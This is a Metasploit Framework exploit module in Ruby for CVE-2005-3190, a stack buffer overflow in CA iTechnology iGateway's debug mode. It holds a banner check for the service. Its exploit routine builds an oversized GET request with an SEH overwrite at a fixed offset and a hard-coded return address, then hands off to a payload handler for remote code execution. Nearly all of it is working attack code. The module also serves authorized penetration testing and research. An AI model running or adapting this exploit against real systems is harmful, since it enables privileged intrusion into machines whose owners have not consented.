##
# $Id: ca_igateway_debug.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'CA iTechnology iGateway Debug Mode Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in the Computer Associates
iTechnology iGateway component. When <Debug>True</Debug> is enabled
in igateway.conf (non-default), it is possible to overwrite the stack
and execute code remotely. This module works best with Ordinal payloads.
},
'Author' => 'patrick',
'License' => MSF_LICENSE,
'Version' => '$Revision: 9179 $',
'References' =>
[
[ 'CVE', '2005-3190' ],
[ 'OSVDB', '19920' ],
[ 'URL', 'http://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=33485' ],
[ 'URL', 'http://www.milw0rm.com/exploits/1243' ],
[ 'BID', '15025' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500,
'Compat' =>
{
'ConnectionType' => '+ws2ord',
},
},
'Platform' => 'win',
'Targets' =>
[
[ 'iGateway 3.0.40621.0', { 'Ret' => 0x120bd9c4 } ], # p/p/r xerces-c_2_1_0.dll
],
'Privileged' => true,
'DisclosureDate' => 'Oct 06 2005',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(5250),
], self.class)
end
def check
connect
sock.put("HEAD / HTTP/1.0\r\n\r\n\r\n")
banner = sock.get(-1,3)
if (banner =~ /GET and POST methods are the only methods supported at this time/) # Unique?
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
connect
seh = generate_seh_payload(target.ret)
buffer = Rex::Text.rand_text_alphanumeric(5000)
buffer[1082, seh.length] = seh
sploit = "GET /" + buffer + " HTTP/1.0"
sock.put(sploit + "\r\n\r\n\r\n")
disconnect
handler
end
end